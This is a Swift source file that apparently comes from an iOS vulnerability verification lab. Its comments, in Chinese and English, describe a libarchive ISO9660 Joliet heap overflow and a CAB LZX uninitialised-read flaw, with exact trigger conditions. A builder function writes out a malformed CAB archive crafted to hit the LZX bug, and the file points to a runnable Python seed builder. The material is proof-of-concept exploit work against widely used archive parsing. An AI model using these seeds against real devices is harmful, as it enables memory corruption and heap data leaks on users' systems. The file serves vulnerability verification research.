Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
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// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
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// 原语: OOB 写 · 进程内 · tier 1
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// Primitive: OOB write · in-process · tier 1
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//
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// [zh] ISO9660 Joliet 路径名堆溢出
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// build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/'，且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024
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// 字节时，最深层回卷的写入落在 p[1024] 与 p[1025]，越过 malloc(1024) 两个字节，其中 0x002F 覆盖相邻堆块头。
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//
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// [en] ISO9660 Joliet pathname heap overflow
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// After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte
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// UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain
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// sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024)
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// buffer, and 0x002F overwrites the adjacent heap chunk header.
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// ── 判别 / oracle ──
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// 目录链长度 4×206 + 192 + 4×2 = 1024，与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现，硬件断点命中于 \"Pathname is too
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// long\" 之前的写指令。
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// 变体 arc.iso.stress: Joliet 路径长度循环
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// 变体 arc.cab: CAB LZX 历史未初始化即取匹配
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//
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// 种子构建器（python，可直接运行）: CVE-2026-112522/CVE-2026-112522.py
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// runnable python seed builder: CVE-2026-112522/CVE-2026-112522.py
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import Foundation
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// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
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enum B {
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static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
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static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
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static func be32(_ v: UInt32) -> [UInt8] {
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[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
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}
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static func le32(_ v: UInt32) -> [UInt8] {
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[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
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}
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static func be64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
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}
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static func le64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
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}
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static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
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static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
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static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
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}
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/*
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// arc.iso.stress · libarchive · build_pathname_utf16be · CVE-2026-112522
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// 原语: OOB 写 · 进程内 · tier 1
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// Primitive: OOB write · in-process · tier 1
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//
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// [zh] Joliet 路径长度循环
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// 对同一 ISO 反复遍历，使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收，重复执行才可能将损坏推移到可见位置。
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//
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// [en] Joliet path length loop
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// The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves
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// with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition
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// is what pushes the damage into a visible position.
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*/
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/*
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// arc.cab · libarchive · lzx_decode_blocks · CVE-2026-112522
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// 原语: OOB 读 · 进程内 · tier 2
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// Primitive: OOB read · in-process · tier 2
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//
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// [zh] CAB LZX 历史未初始化即取匹配
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// LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时，copy_pos 指向未初始化区域，复制所得即为残留堆内容。
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// 27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。
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//
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// [en] CAB LZX match against uninitialised history
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// LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop.
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// While the window has not yet been written, copy_pos points into uninitialised memory and the copied
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// bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED.
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*/
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// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (CABPayload) ──
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enum CABPayload {
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static func lzxEarlyMatch() -> Data {
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var out = Data()
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let cfdataPayload: [UInt8] = [
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// CFDATA header is written separately below; this is the LZX block itself.
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0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes
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0x1E, // main tree: single match-ish symbol stream
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0x00, 0x00, // length footer
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0x00, 0x00, 0x00, 0x00, // offset
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]
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var cfdata = Data()
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cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked)
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cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count)))
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cfdata.append(contentsOf: B.le16(0)) // reserved
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cfdata.append(contentsOf: cfdataPayload)
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var file = Data()
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file.append(contentsOf: B.ascii("Cinder"))
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file.append(contentsOf: B.le32(0)) // size
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file.append(contentsOf: B.le32(0)) // offset in folder
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file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive
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file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time
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file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA"
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file.append(0)
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let headerSize = 36
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let folderSize = 8
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let fileSize = file.count
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let dataSize = cfdata.count
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let total = headerSize + folderSize + fileSize + dataSize
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out.append(contentsOf: B.ascii("MSCF"))
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out.append(contentsOf: B.le32(0)) // reserved1
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out.append(contentsOf: B.le32(UInt32(total))) // cabinet size
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out.append(contentsOf: B.le32(0)) // reserved2
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out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset
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out.append(contentsOf: B.le32(0)) // reserved3
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out.append(contentsOf: [3, 1]) // version minor, major
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out.append(contentsOf: B.le16(1)) // folder count
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out.append(contentsOf: B.le16(1)) // file count
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out.append(contentsOf: B.le16(0)) // flags
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out.append(contentsOf: B.le16(0x1234)) // set id
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out.append(contentsOf: B.le16(0)) // cabinet index
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// CFFOLDER
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out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset
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out.append(contentsOf: B.le16(1)) // data block count
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out.append(contentsOf: B.le16(3)) // compression type 3 = LZX
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out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB)
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out.append(contentsOf: file)
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out.append(contentsOf: cfdata)
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return out
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}
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}
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